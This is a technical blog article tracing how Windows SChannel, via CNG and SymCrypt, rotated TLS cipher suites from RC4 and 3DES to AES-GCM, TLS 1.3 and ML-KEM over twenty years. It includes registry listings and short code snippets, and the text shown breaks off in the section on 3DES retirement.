Parag Mali - tag: windows-security

Rotating Every Cipher: SChannel and the Twenty-Year Algorithm-Agility Story of Windows TLS

noreply@paragmali.com (Parag Mali) — Wed, 03 Jun 2026 00:00:00 GMT

Windows speaks TLS through **SChannel**, the SSPI provider in `schannel.dll` [@ms-learn-schannel-ssp]. Across roughly twenty years SChannel has rotated every cryptographic primitive in its default cipher list -- from RSA key transport and RC4 to ECDHE, AES-GCM, and ML-KEM -- without breaking IIS, RDP, SQL Server, LDAPS, WinHTTP, or .NET `SslStream`. That was only possible because Microsoft, in Vista's 2007 **CNG** (Cryptography API: Next Generation), made algorithm agility a first-class architectural property [@ms-learn-cng-portal]: BCrypt for primitive dispatch, NCrypt for key custodians, SymCrypt as the unified FIPS-validated backend [@symcrypt-github]. This article walks the substrate from CryptoAPI 1.0 through CNG and SymCrypt, the five cipher-suite generations the substrate carried, the 2014 MS14-066 / WinShock RCE (which was *not* Heartbleed) [@ms14-066], the certificate-validation pipeline, and the in-flight post-quantum hybrid TLS 1.3 rollout (`X25519MLKEM768`, FIPS 203) [@fips-203][@ms-learn-cng-mlkem-examples].

1. Two PowerShell Outputs, Twelve Years Apart

Run Get-TlsCipherSuite on a freshly installed Windows Server 2025 and the output is unrecognisable to a 2012 administrator [@ms-learn-get-tlsciphersuite]. RC4 is gone. 3DES is gone. The list is led by TLS_AES_256_GCM_SHA384 and TLS_AES_128_GCM_SHA256 -- TLS 1.3 cipher suites that did not exist when schannel.dll was first written. Yet IIS, SQL Server, RDP via CredSSP, LDAPS, WinHTTP, and every .NET SslStream consumer on the planet still compiles against the same Win32 SSPI surface they did in 2007 [@ms-learn-schannel-ssp]. How does one DLL rotate every cryptographic primitive in its lineup without breaking the world above it?

That question is this article's organising prompt. The answer, held back deliberately until Section 4, is algorithm agility -- the architectural property Microsoft made first-class when it shipped Cryptography API: Next Generation alongside Windows Vista in early 2007 [@ms-learn-cng-portal].

The Win32 abstraction that lets an application acquire credentials, build a security context, and exchange authentication tokens without knowing which protocol (Kerberos, NTLM, Negotiate, or **Schannel**) is doing the work underneath. SChannel is the SSP that implements SSL, TLS, and DTLS on Windows; its module is `schannel.dll` and its public surface is `AcquireCredentialsHandle` / `InitializeSecurityContext` / `AcceptSecurityContext` [@ms-learn-schannel-ssp].

Which Windows endpoints SChannel actually owns

SChannel is not the only TLS stack that runs on Windows, but the Windows TLS endpoints Microsoft itself owns all run through it. SChannel is the SSP behind:

IIS TLS termination for HTTP/1.1 and HTTP/2 (HTTP/3 over QUIC terminates in msquic.dll, which uses SChannel for the TLS 1.3 handshake key derivation and then performs the per-packet AEAD outside schannel.dll per RFC 9001 §5 [@msquic-tls-md][@rfc-9001]).
RDP Network Level Authentication via CredSSP -- the CredSSP SSP wraps SChannel to deliver the TLS-protected credential prompt before the RDP session opens.
LDAPS for Active Directory client and server bindings.
RPC over HTTPS as used by Outlook Anywhere and historical Exchange topologies.
SQL Server TDS-over-TLS encryption on Windows.
WinHTTP and WinINet -- the Win32 HTTP clients behind BITS, WebClient, and many enterprise agents.
.NET SslStream when running on Windows. On Linux .NET delegates to OpenSSL; on macOS it uses Apple's Network framework.

The endpoints SChannel does not own on a typical Windows box are equally important to name. Chromium and (via Chromium) Microsoft Edge ship BoringSSL -- legacy EdgeHTML used Windows native crypto, but it has been end-of-life since Edge's January 15, 2020 Chromium-based re-launch. Firefox ships NSS. Containerised .NET workloads on Linux ship with OpenSSL. SQL Server on Linux uses OpenSSL too [@boringssl-readme][@dotnet-cross-platform-crypto]. The Windows TLS story is genuinely a Windows-platform story, not a "what speaks TLS on a Windows machine" story.On Linux, .NET's SslStream does not use SChannel at all -- it delegates to OpenSSL [@dotnet-cross-platform-crypto]. The Win32 SChannel story really is a Windows-platform story, not a story about everything TLS-shaped that happens on a Windows machine.MsQuic uses SChannel only for the TLS 1.3 handshake key derivation -- the per-packet AEAD that protects QUIC payloads runs outside schannel.dll, in MsQuic itself, per RFC 9001 §5 packet protection [@msquic-tls-md][@rfc-9001]. The MsQuic project documents the TLS abstraction layer (CxPlatTlsProcessData) and notes explicitly that "the TLS record layer is not included" and that "TLS exposes the encryption key material to QUIC to secure its own packets" [@msquic-tls-md].

The artifact comparison

The cleanest way to see the substrate's twenty-year track record is to compare what Get-TlsCipherSuite returns on two Windows generations [@ms-learn-get-tlsciphersuite][@ms-learn-cipher-suites-schannel]. The TLS 1.3 cipher suites listed on the Windows Server 2022 / 2025 page (TLS_AES_128_GCM_SHA256, TLS_AES_256_GCM_SHA384, TLS_CHACHA20_POLY1305_SHA256) [@ms-learn-tls-cipher-suites-server-2022] simply are not on the Windows 7 / Server 2008 R2 page [@ms-learn-tls-cipher-suites-windows-7]; conversely, the Windows 7 page enumerates TLS_RSA_WITH_RC4_128_SHA, TLS_RSA_WITH_3DES_EDE_CBC_SHA, and TLS_RSA_WITH_AES_128_CBC_SHA as enabled by default -- suites that newer Windows builds have either removed or moved off-by-default [@ms-learn-tls-registry-settings].

{` // Approximation of the SChannel cipher-suite roster on two Windows generations. const server2012R2 = [ 'TLS_RSA_WITH_RC4_128_SHA', 'TLS_RSA_WITH_3DES_EDE_CBC_SHA', 'TLS_RSA_WITH_AES_128_CBC_SHA', 'TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA', 'TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256', ];

const server2025 = [ 'TLS_AES_256_GCM_SHA384', 'TLS_AES_128_GCM_SHA256', 'TLS_CHACHA20_POLY1305_SHA256', 'TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384', 'TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256', ];

const rotatedOut = server2012R2.filter(s => !server2025.includes(s)); const rotatedIn = server2025.filter(s => !server2012R2.includes(s));

console.log('Rotated out (2012R2 default -> 2025 absent):'); rotatedOut.forEach(s => console.log(' - ' + s)); console.log('Rotated in (2025 default -> 2012R2 unavailable):'); rotatedIn.forEach(s => console.log(' + ' + s)); `}

The whole journey, on one timeline:

gantt dateFormat YYYY axisFormat %Y title SChannel substrate eras and primitive rotations section Substrate CryptoAPI 1.0 (CSPs) :crit, capi, 1996, 2007 CNG (BCrypt + NCrypt) :active, cng, 2007, 2026 SymCrypt unified engine :sym, 2017, 2026 section Protocol versions SSL 2.0 / 3.0 / TLS 1.0 :p10, 1996, 2014 TLS 1.1 / 1.2 :p12, 2008, 2026 TLS 1.3 default-on :p13, 2021, 2026 section Cipher generations ECDHE plus AES-GCM debut :g1, 2009, 2026 RC4 deprecation :g2, 2013, 2016 3DES retirement :g3, 2019, 2026 SHA-1 sunset :g4, 2016, 2022 TLS 1.0 / 1.1 off-default :g5, 2020, 2025 X25519MLKEM768 hybrid :g6, 2025, 2026

CNG did not exist for the first eleven years of SChannel's life. To see why CNG had to be invented, the next section walks the rigidity that almost broke the Windows TLS stack before AES could even be standardised.

2. Before CNG: PCT 1.0, SSL, and the Tyranny of `ALG_ID`

In October 1995 a five-author byline from Microsoft Corporation -- Josh Benaloh, Butler Lampson, Daniel Simon, Terence Spies, and Bennet Yee -- posted draft-benaloh-pct-00 to the IETF [@draft-benaloh-pct-00]. The draft introduced Private Communication Technology version 1, a protocol whose abstract reads: "this protocol corrects or improves on several weaknesses of SSL." The byline matters. Butler Lampson had received the Turing Award in 1992. Microsoft was not toying with PCT; it intended to win the secure-transport standardisation race.Butler Lampson's appearance on the PCT 1.0 draft byline (alongside Benaloh, Simon, Spies, Yee) is not incidental. Lampson won the Turing Award in 1992. Microsoft was serious about PCT 1.0 as a protocol, not merely an implementation.

PCT lost. By the time schannel.dll shipped in Windows NT 4.0 (commonly placed in 1996 per contemporary release histories), the new SChannel SSP had to negotiate three incompatible handshakes on the same wire: SSL 2.0, SSL 3.0, and PCT 1.0 [@ms-learn-schannel-ssp]. By Vista, PCT was gone; SSL 2.0 was on its way to formal IETF prohibition [@rfc-6176]; SSL 3.0 had a few years left before POODLE would kill it off in 2014 [@poodle-pdf]. The protocol-level story is well-trodden. The substrate underneath -- the engine SChannel called into to compute each primitive -- is what made the next decade much harder than it had to be.

CryptoAPI 1.0 and the CSP cage

A loadable DLL that implements a fixed catalog of cryptographic operations under **CryptoAPI 1.0**. Each CSP advertises a *provider type* (e.g. `PROV_RSA_FULL`, `PROV_RSA_SCHANNEL`) and exposes its primitives through opaque `ALG_ID` constants such as `CALG_RC4`, `CALG_3DES`, and `CALG_SHA1`. Adding a new primitive meant shipping a new CSP DLL, registering it under `HKLM\Software\Microsoft\Cryptography\Defaults\Provider`, and threading a fresh BLOB type through every consumer that called `CryptAcquireContext`.

The CryptoAPI 1.0 model had a single fatal property: the primitive was the API. To compute SHA-256, code had to ask CAPI for an ALG_ID whose numeric value was CALG_SHA_256 -- and that constant only existed once Microsoft shipped a CSP that defined it, in the same OS release that introduced the algorithm [@ms-learn-alg-id]. Elliptic-curve cryptography never arrived in CAPI in any usable form; the ALG_ID + key BLOB shape simply could not express the named curves, parameter sets, point-compression flags, or per-curve coordinate sizes that ECC required.

So in the early 2000s SChannel's cipher-suite list was less a menu of cryptography and more a snapshot of what CSPs had shipped. FIPS 197 (the AES standard) was published in November 2001. Windows XP shipped without AES in its default SChannel cipher list and only got it broadly via Service Pack 3 and Server 2003. The four-year AES gap was not Microsoft dragging its feet -- it was the thickness of a CSP-rev cycle. RC4 dominance, 3DES persistence, 1024-bit RSA inertia, no ECC: these were the substrate's fingerprints, not the vendor's preferences.

flowchart LR A[Application -- IIS / IE / RPC] --> B[SChannel SSP] B --> C[CryptoAPI 1.0 / CryptAcquireContext] C --> D["RSA SChannel CSP -- ALG_ID lookup"] C --> E["Base / Enhanced CSP -- ALG_ID lookup"] C --> F[Smart Card CSP] D -. "Adding ECC requires a new CSP, new ALG_ID, new BLOB type, new IANA codepoint" .-> G((Friction)) E -. "Adding SHA-256 requires CSP rev + OS release" .-> G

The PCT failure as a positive lesson

PCT's loss is, in retrospect, the strongest early case for algorithm agility. SChannel had shipped PCT-the-protocol in 1996; by 2007 PCT was a footnote and SChannel was speaking TLS 1.0, TLS 1.1, SSL 3.0, and (with the right service pack) early TLS 1.2 drafts. The application surface above SChannel did not flinch. Microsoft had bet on PCT, lost, rotated to TLS, and shipped the rotation through the protocol abstraction that the SSP boundary provided.

What the SSP boundary did not shield was the primitive layer. Algorithm rotation had to happen one CSP rev at a time. By the mid-2000s Microsoft's engineering leadership had a clear diagnosis: the protocol abstraction worked; the primitive abstraction did not. The next CSP rev would not save them, because there were not enough CSP revs in the future to keep up with what cryptography was about to do -- ECC was already standardised, AEAD constructions were being designed, and the post-quantum research had been live for a decade.

Key idea: The early-2000s lag in AES adoption, the persistence of RC4 and 3DES, and the absence of ECC in Windows were not vendor laziness. CryptoAPI 1.0's ALG_ID + provider-type model was structurally incapable of representing ECC's named curves and parameter sets. The right question was never "why is Microsoft slow?" -- it was "what would a Windows cryptographic substrate that was not slow look like?" The Vista CNG redesign is what that question's answer looks like.

RC4 dominance, 3DES persistence, 1024-bit RSA inertia, no ECC -- these were not laziness, they were the substrate. A fix to TLS 1.0 was easy; a fix to the way Windows let an application reach a primitive was a rewrite.

3. Configuration Agility Without Substrate Agility: XP and Server 2003

Consider a single registry path: HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\TLS 1.0\Client\DisabledByDefault. That value was introduced for SChannel's TLS 1.0 support in the XP / Server 2003 era. It is exactly the same registry sub-tree path an operator uses in 2026 to disable TLS 1.0 itself [@ms-learn-tls-registry-settings]. The configuration surface from 1999 has outlasted three generations of TLS.

This is not an accident. By the time TLS 1.0 landed in Windows (RFC 2246, Tim Dierks and Christopher Allen at Certicom, January 1999 [@rfc-2246]) and TLS 1.1 followed (RFC 4346, Dierks and Eric Rescorla, April 2006 [@rfc-4346]), SChannel had developed an emerging design pattern: every protocol version became a sub-key, every cipher suite became a registry-driven enable/disable, and the SSL Cipher Suite Order Group Policy gave administrators a single rope to pull when an algorithm fell from grace.

That model has aged well. Microsoft's current tls-registry-settings page is essentially the same structural document it would have been twenty years ago, with new sub-keys for each new protocol version (SSL 2.0, SSL 3.0, TLS 1.0, TLS 1.1, TLS 1.2, TLS 1.3, DTLS 1.0, DTLS 1.2) and new values for the policy levers Microsoft has added along the way [@ms-learn-tls-registry-settings].The same SCHANNEL\Protocols\<ver>\<role>\Enabled pattern handles SSL 2, SSL 3, TLS 1.0, TLS 1.1, TLS 1.2, TLS 1.3, DTLS 1.0, and DTLS 1.2. A single sub-key per protocol; new versions slot in without reorganising the hive.

The four sub-keys an XP / Server 2003 box exposed

The shape of the SCHANNEL\ hive on a representative Server 2003 R2 box, reconstructed from Microsoft Knowledge Base article KB245030 ("How to restrict the use of certain cryptographic algorithms and protocols in Schannel.dll") and the modern Microsoft Learn tls-registry-settings page that preserves the same structural document [@ms-learn-tls-registry-settings], is shown below.Microsoft Knowledge Base article KB245030 ("How to restrict the use of certain cryptographic algorithms and protocols in Schannel.dll") is the *origin document* for the four-sub-key SCHANNEL\ registry pattern this section dumps. The original support.microsoft.com URL now returns HTTP 404; the same content lives at Microsoft Learn's tls-registry-settings page [@ms-learn-tls-registry-settings]. The four sub-keys (Protocols, Ciphers, Hashes, KeyExchangeAlgorithms) have been stable since Windows 2000. The DWORD convention is itself the agility affordance: 0xffffffff means "enabled," 0 means "disabled," and the Server versus Client role split lets an admin disable SSL 2.0 server-side without breaking outbound HTTPS client-side during the transition.

HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\
  Protocols\
    SSL 2.0\Server\Enabled = 0xffffffff   ; ON by default on 2003 R2
    SSL 3.0\Server\Enabled = 0xffffffff
    TLS 1.0\Server\Enabled = 0xffffffff
    ; TLS 1.1 / 1.2 sub-keys absent -- those protocols do not exist on 2003 R2
  Ciphers\
    RC4 128/128\Enabled        = 0xffffffff
    RC4 56/128\Enabled         = 0xffffffff   ; export-grade, still present
    RC4 40/128\Enabled         = 0xffffffff   ; export-grade
    Triple DES 168\Enabled     = 0xffffffff
    DES 56/56\Enabled          = 0xffffffff
    RC2 40/128\Enabled         = 0xffffffff   ; export-grade
    NULL\Enabled               = 0
  Hashes\
    MD5\Enabled                = 0xffffffff
    SHA\Enabled                = 0xffffffff
  KeyExchangeAlgorithms\
    Diffie-Hellman\Enabled     = 0xffffffff
    PKCS\Enabled               = 0xffffffff   ; RSA key transport

Notice what is not there. No TLS 1.1, no TLS 1.2, no AES sub-key (AES ALG_ID constants arrived in rsaenh.dll via XP SP3 and Server 2003 SP2 but SChannel had to learn the suite-name strings separately). No ECC primitive at all -- CryptoAPI 1.0 could not express named curve parameters in the ALG_ID + key BLOB shape, so no amount of registry editing could unlock an ECDHE cipher suite on a 2003-era box. The four-sub-key layout (Protocols, Ciphers, Hashes, KeyExchangeAlgorithms) is the configuration surface; what the surface can offer is bounded by the substrate underneath it.

The CSP layer underneath: `PROV_RSA_SCHANNEL` and `CALG_TLS1PRF`

On the dispatch side of that same XP / 2003 box, SChannel relied on two CryptoAPI 1.0 Cryptographic Service Providers in particular. The Microsoft Learn "Cryptographic Provider Types" page enumerates the provider types Microsoft shipped [@ms-learn-cryptographic-provider-types]:

PROV_RSA_SCHANNEL (provider type 12) -- the SChannel-private CSP. It carried the TLS-specific primitives: the CALG_TLS1PRF pseudorandom function (algorithm identifier 0x0000800a), the CALG_SCHANNEL_MASTER_HASH and CALG_SCHANNEL_MAC_KEY and CALG_SCHANNEL_ENC_KEY key-derivation handles, and (because the substrate had to negotiate three handshake protocols) the CALG_SSL2_MASTER and CALG_PCT1_MASTER constants documented on the Microsoft Learn ALG_ID page [@ms-learn-alg-id].
PROV_RSA_FULL / PROV_RSA_AES (rsaenh.dll) -- the general-purpose enhanced CSP, which carried the bulk symmetric primitives the cipher list named (CALG_RC4, CALG_DES, CALG_3DES, eventually CALG_AES_128, CALG_AES_256).

Both CSPs were loaded by CryptAcquireContext against the HKLM\SOFTWARE\Microsoft\Cryptography\Defaults\Provider registry hierarchy. Neither was extensible without an rsaenh.dll (or analogous) revision and a CSP-rev ship cycle. The registry hive let an operator turn primitives off; it could not let an operator turn a new primitive on, because the CSP catalog itself was the menu. Adding ECC to that menu was not a configuration problem -- it required a different substrate.

The `SSL Cipher Suite Order` GPO -- and why it is a Vista-era artifact, not a 2003-era one

Cipher-suite ordering (as opposed to enablement) was not exposed as an administrative tunable until Windows Vista and Server 2008 added the Computer Configuration > Administrative Templates > Network > SSL Configuration Settings > SSL Cipher Suite Order Group Policy. The current Microsoft Learn "Manage Transport Layer Security (TLS)" page documents the format verbatim: "a strict comma delimited format. Each cipher suite string ends with a comma to the right side of it... the list of cipher suites is limited to 1,023 characters." [@ms-learn-manage-tls] A representative XP-era ordering string -- if the GPO had existed for the operator to set -- would have read something like TLS_RSA_WITH_RC4_128_SHA,TLS_RSA_WITH_3DES_EDE_CBC_SHA,TLS_RSA_WITH_DES_CBC_SHA,..., walking the actual Server 2003 default lineup that the CSP catalog could deliver. The fact that this lever did not exist on 2003 -- the operator was limited to flipping Ciphers\<name>\Enabled DWORDs in the per-cipher sub-tree -- is itself evidence of how the operator-facing SChannel surface matured one Windows release at a time.

No enumeration tool on Server 2003

There is no Get-TlsCipherSuite cmdlet on Windows Server 2003. Windows PowerShell itself only shipped (as KB968930) in 2009, and the TLS PowerShell module first appeared in Windows 8 and Server 2012 [@ms-learn-get-tlsciphersuite]. On a 2003-era box the empirical answer to "what does this server actually negotiate?" was either a reg query "HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\TLS 1.0\Server" /v Enabled against the registry sub-tree above, or -- for what the client actually picked -- an outbound Internet Explorer 6 trace, or -- for what the server actually accepted -- a TCP-connect dump against port 443 with a TLS scanner of the era (typically openssl s_client -connect host:443 -cipher ALL running on a separately-administered Linux box). The operator-visible inventory tool an admin reaches for in 2026 is itself a CNG-era artifact.

The agility split: configuration vs. substrate

Here is the structural problem that XP-era SChannel revealed. The configuration surface was getting more agile -- an operator could turn cipher suites on and off, prefer one over another, disable an entire protocol version -- but the engine underneath was not. New primitives still required a CSP rev. New named curves were unrepresentable. SHA-256 in TLS handshake signatures was a several-year project.

A useful metaphor: configuration agility without substrate agility is a treadmill. You can disable bad cipher suites at will. You cannot add a new family of primitives without rebuilding the engine. By the mid-2000s Microsoft had two options. Patch CAPI in place forever -- absorb every new algorithm as a new ALG_ID constant, a new CSP DLL, a new BLOB type, a new round of partner re-certification. Or ship a successor.

Every Microsoft technology that needed cryptography was caught in the same trap as SChannel. IPsec, EFS, BitLocker's predecessors, S/MIME in Outlook, smart-card login, Authenticode code-signing verification -- all dispatched through CryptoAPI 1.0 CSPs. The agility problem was not localised to TLS; it was the *Windows cryptography* problem. The successor Microsoft built would therefore have to be the substrate for *all* of these consumers, not just for SChannel. That is exactly what CNG ended up being.

They chose the second. The next section is the eureka moment the rest of the article hangs on.

4. CNG: Where Vista Made Algorithm Agility First-Class (January 2007)

Vista is where the article's clock starts. In January 2007 Microsoft did not patch CryptoAPI 1.0; it shipped a parallel substrate alongside it: Cryptography API: Next Generation. The Microsoft Learn portal still describes it in one sentence that doubles as the article's thesis: "CNG is the long-term replacement for the CryptoAPI. CNG is designed to be extensible at many levels and cryptography agnostic in behavior." [@ms-learn-cng-portal]

CNG is the long-term replacement for the CryptoAPI. CNG is designed to be extensible at many levels and cryptography agnostic in behavior. -- Microsoft Learn, *Cryptography API: Next Generation* portal [@ms-learn-cng-portal]

The two splits that look prosaic in the documentation -- BCrypt for primitives, NCrypt for key custodians -- are, in fact, the single architectural decision that makes the rest of this article's twenty-year story possible.

The post-Vista replacement for CryptoAPI 1.0. CNG splits cryptography into two API surfaces. **BCrypt** (`bcrypt.dll`) handles primitive operations (hashes, ciphers, key-agreement, signing) and addresses algorithms by string identifier through `BCryptOpenAlgorithmProvider`. **NCrypt** (`ncrypt.dll`) handles key storage and custody through pluggable Key Storage Providers (KSPs). CNG is the substrate Microsoft built so that every later cryptographic primitive could be added as a provider update rather than an API rewrite [@ms-learn-cng-portal].

BCrypt: algorithms become strings

The shape of the BCrypt API is the eureka moment.

BCRYPT_ALG_HANDLE hAlg;
NTSTATUS status = BCryptOpenAlgorithmProvider(
    &hAlg,
    BCRYPT_AES_ALGORITHM,       // string identifier
    NULL,                        // default provider
    0);

BCRYPT_AES_ALGORITHM is the literal string "AES". The handle returned by BCryptOpenAlgorithmProvider does not encode which DLL implements AES; it encodes the contract that the resulting handle satisfies (block cipher, configurable mode, configurable key length). The same shape later admits BCRYPT_ECDH_P256_ALGORITHM, BCRYPT_SHA384_ALGORITHM, BCRYPT_CHACHA20_POLY1305_ALG_HANDLE, and -- in 2024-2026 -- BCRYPT_MLKEM_ALG_HANDLE with parameter-set selectors such as BCRYPT_MLKEM_PARAMETER_SET_768 [@ms-learn-cng-mlkem-examples].

BCRYPT_MLKEM_ALG_HANDLE resolves through the exact same hash-table lookup as BCRYPT_AES_ALGORITHM did in 2007. The substrate did not need an architectural change to absorb a brand-new algorithm family seventeen years later -- the dispatch was already built for it.

NCrypt: key custodians become pluggable

**BCrypt** is the CNG API for *primitives* -- arithmetic that takes plaintext and a key and returns ciphertext (or hash, or signature). **NCrypt** is the CNG API for *key custodians* -- objects that own a private key and expose only signing, decryption, and key-derivation operations. The split lets a TLS server hold a private key whose material it never sees: SChannel calls `NCryptSignHash` against an `NCRYPT_KEY_HANDLE`, and the handle's owning KSP (software, smart card, or TPM) performs the operation in its own trust boundary. A CNG-loadable module that owns the lifecycle and operations of a private key. Microsoft ships three out of the box: the **Microsoft Software KSP** (keys at rest in the user or machine profile, protected by DPAPI), the **Microsoft Smart Card KSP** (keys on a PIV / CCID device), and the **Microsoft Platform Crypto Provider** (keys non-exportable from the TPM 2.0). Third parties ship KSPs for HSMs and cloud KMS systems. SChannel sees only the `NCRYPT_KEY_HANDLE`; the custodian is opaque to the SSP.

How SChannel uses CNG

After Vista, SChannel's internals look very different. The cipher-suite registry resolves to BCrypt algorithm identifiers rather than ALG_ID constants. The credentials handle that an IIS worker process receives from AcquireCredentialsHandle holds an NCRYPT_KEY_HANDLE for the server certificate's private key; signing operations during the handshake (CertificateVerify) dispatch through NCryptSignHash to whichever KSP owns the key.

flowchart TD A["IIS / SQL Server / SslStream / WinHTTP"] --> B[SChannel SSP -- schannel.dll] B --> C["BCrypt -- bcrypt.dll"] B --> D["NCrypt -- ncrypt.dll"] C --> E["SymCrypt primitive engine"] C --> F["Third-party BCrypt providers"] D --> G[Microsoft Software KSP] D --> H[Smart Card KSP] D --> I["Microsoft Platform Crypto Provider -- TPM 2.0"] D --> J["HSM / cloud KMS KSPs"] E --> K[(Algorithm dispatch by string identifier)] G --> L[(Key operations by opaque handle)]

The agility property, stated forward

From 2007 onward, adding a primitive to Windows TLS is a CNG-provider-update problem, not an SChannel-rewrite problem. The application surface stays put. IIS does not get rebuilt. SslStream does not change. The cipher suite negotiated on the wire is whatever the SChannel cipher-suite registry currently exposes; the cipher-suite registry resolves to whatever BCrypt providers are loaded.

Key idea: Algorithm agility is not a property of TLS-the-protocol. The cipher-suite codepoint is the minor half of the work; the major half is having a substrate that resolves a new algorithm identifier without rebuilding every consumer. CNG's BCrypt dispatch is what that substrate looks like in Windows. The protocol's cipher-suite registry is enumerated; the substrate's algorithm registry is open. That asymmetry is the entire game.

SymCrypt as the parallel track

Microsoft's unified, FIPS 140-validated cryptographic primitive engine. Niels Ferguson began the project in **late 2006** with the first sources committed in February 2007 [@symcrypt-github] -- nearly a decade before Heartbleed. SymCrypt became the primary library for symmetric algorithms starting with Windows 8 and the primary library for all algorithms across Windows since the Windows 10 1703 release in March 2017. Microsoft open-sourced SymCrypt under the MIT license in July 2019 [@symcrypt-github]. Its release-by-release primitive timeline lives in the public CHANGELOG [@symcrypt-changelog].

This timing matters because the original framing many readers carry around -- "Microsoft rewrote its crypto engine after Heartbleed" -- is historically wrong on every axis. SymCrypt predates Heartbleed by seven years [@symcrypt-github]. Heartbleed was an OpenSSL heartbeat-extension bug and did not affect SChannel because SChannel does not implement that code path [@nvd-cve-2014-0160]. The article's Section 6 treats this conflation in detail. For now, the honest framing is: SymCrypt was the long, quiet maturation of CNG's primitive layer over a decade, designed by a working Microsoft cryptographer for a substrate already built to accept it.Niels Ferguson's publicly visible work -- including his co-authorship of Cryptography Engineering with Bruce Schneier and Tadayoshi Kohno [@schneier-cryptography-engineering] -- is the closest the public has to a primitive-design rationale for what eventually became SymCrypt.

CNG was Microsoft betting that Windows could keep its Win32 API contract stable while every cryptographic primitive underneath it rotated. The next four sections are the receipts on that bet -- five complete cipher-suite rotations, a parsing-path RCE that almost broke trust in the substrate, and a present-day post-quantum pivot that is the cleanest agility receipt of all.

5. Five Generations of Cipher-Suite Rotation, 2009 to 2025

Between Windows 7 in 2009 [@ms-learn-tls-cipher-suites-windows-7] and the rolling Windows Server 2022 / 2025 default lists [@ms-learn-tls-cipher-suites-server-2022], Microsoft rotated every primitive in SChannel's default cipher list at least five times. Not once did IIS, SQL Server, or SslStream get a source-code change because of it. Those five rotations are the agility receipts.

The rough shape of the rotations:

Generation	Window	New primitive(s)	Old primitive(s) retired	Disablement mechanism	Cryptographic indictment
G1	Win7 / 2008 R2, Oct 2009	ECDHE key exchange + AES-GCM AEAD	Static RSA key transport + AES-CBC + HMAC	New cipher-suite registrations [@ms-learn-tls-cipher-suites-windows-7]	Lucky13 (2013), BEAST (2011) [@beast-pdf]
G2	KB2868725, Nov 12 2013 -> off-default 2016	(none added)	RC4 stream cipher	`SCH_USE_STRONG_CRYPTO` registry value [@ms-advisory-2868725]	RC4 NOMORE (75-hour cookie recovery) [@usenix-rc4nomore]
G3	Win10 v1903, May 2019 Update	(none added)	3DES (64-bit block)	Cipher-suite default-off in cipher list [@ms-learn-cipher-suites-schannel]	SWEET32 (785 GB / less than 48 h) [@sweet32-info]
G4	2016-2022	SHA-256 / SHA-384 handshake signatures	SHA-1 handshake signatures and SHA-1 trust-store roots	Microsoft Trusted Root Program distrust events; chain-engine policy	SHAttered (Feb 2017) [@iacr-eprint-shattered]
G5	2020-2025	TLS 1.3 (default-on Win11 / Server 2022)	TLS 1.0 and TLS 1.1	`SCHANNEL\Protocols\TLS 1.0\<role>\DisabledByDefault` [@ms-learn-tls-registry-settings]	Decade of attack research (BEAST, POODLE, FREAK, Logjam) [@weakdh-logjam]

Each row below adds the engineering detail that the table compresses.

G1 -- ECDHE plus AES-GCM (Windows 7 / Server 2008 R2, October 2009)

A key-agreement protocol where both parties generate a fresh elliptic-curve key pair for every handshake and exchange public points; the shared secret is never derived from the long-term server certificate's private key. ECDHE provides **forward secrecy**: compromising the server's RSA or ECDSA private key tomorrow does not let an adversary decrypt connections recorded today. ECDHE cipher suites first appear in SChannel on Windows 7 / Server 2008 R2 in 2009 [@ms-learn-tls-cipher-suites-windows-7]. A construction that encrypts plaintext and produces an authentication tag in a single operation, with neither output usable in isolation. AEAD ends an entire class of "mac-then-encrypt vs. encrypt-then-mac" padding-oracle bugs (Lucky13, POODLE-style attacks on CBC) by removing the separable padding step entirely. The AEAD framework is introduced in RFC 5246 §6.2.3.3 [@rfc-5246]; AES-GCM is the canonical instantiation on Windows.

The Windows 7 cipher-suite roster enumerates ECDHE-based suites like TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256 and the AES-GCM AEAD suites TLS_RSA_WITH_AES_256_GCM_SHA384 and TLS_RSA_WITH_AES_128_GCM_SHA256 [@ms-learn-tls-cipher-suites-windows-7]. These suites simply did not exist in the SChannel cipher-suite list of XP / Server 2003. Microsoft was able to add them because the CNG substrate, two years old by Windows 7's RTM, dispatched algorithms by string; the cipher-suite registry just gained new rows that resolved to BCRYPT_ECDH_P256_ALGORITHM and BCRYPT_AES_ALGORITHM with the GCM chaining mode set.

G2 -- RC4 deprecation (KB2868725, November 12 2013, default-off 2016)

In November 2013 Microsoft published Security Advisory 2868725, "Update for Disabling RC4," which introduced the SCH_USE_STRONG_CRYPTO flag in the SCHANNEL_CRED structure and the matching registry mechanism [@ms-advisory-2868725]. The press around the advisory was driven by the BEAST attack (2011) -- whose practical mitigation had been to prefer RC4 over CBC suites to dodge the CBC implicit-IV bug -- and by mounting attacks against RC4 itself by AlFardan et al. and others.

The full cryptographic indictment landed at USENIX Security in August 2015: Mathy Vanhoef and Frank Piessens published "All Your Biases Belong to Us: Breaking RC4 in WPA-TKIP and TLS," demonstrating a 75-hour HTTPS cookie recovery against RC4-secured TLS [@usenix-rc4nomore]. Six months earlier, Andrei Popov of Microsoft Corp. had authored RFC 7465, "Prohibiting RC4 Cipher Suites" [@rfc-7465]. Edge and IE 11 disabled RC4 by default in late 2016; SChannel's RC4 suites moved to off-by-default on the same trajectory [@ms-learn-cipher-suites-schannel].RFC 7465 ("Prohibiting RC4 Cipher Suites in TLS") was authored by A. Popov of Microsoft Corp. [@rfc-7465] -- the same engineer whose name is on the current Microsoft Learn SChannel SSP overview page [@ms-learn-schannel-ssp]. Microsoft's anti-RC4 push was Microsoft-led at the IETF, not just internally.

G3 -- 3DES retirement (Windows 10 v1903, May 2019 Update)

The cryptographic indictment for 3DES is a textbook example of the block-cipher birthday bound. A 64-bit block cipher reaches a 50% probability of an internal collision after roughly $2^{32}$ encrypted blocks under a single key -- around 32 GB. The SWEET32 paper (Bhargavan and Leurent, ACM CCS 2016) translated that bound into a practical TLS cookie-recovery attack: with 785 GB of induced HTTP traffic over a long-lived 3DES-encrypted connection, an adversary could recover an HTTPS cookie in less than two days [@sweet32-info].

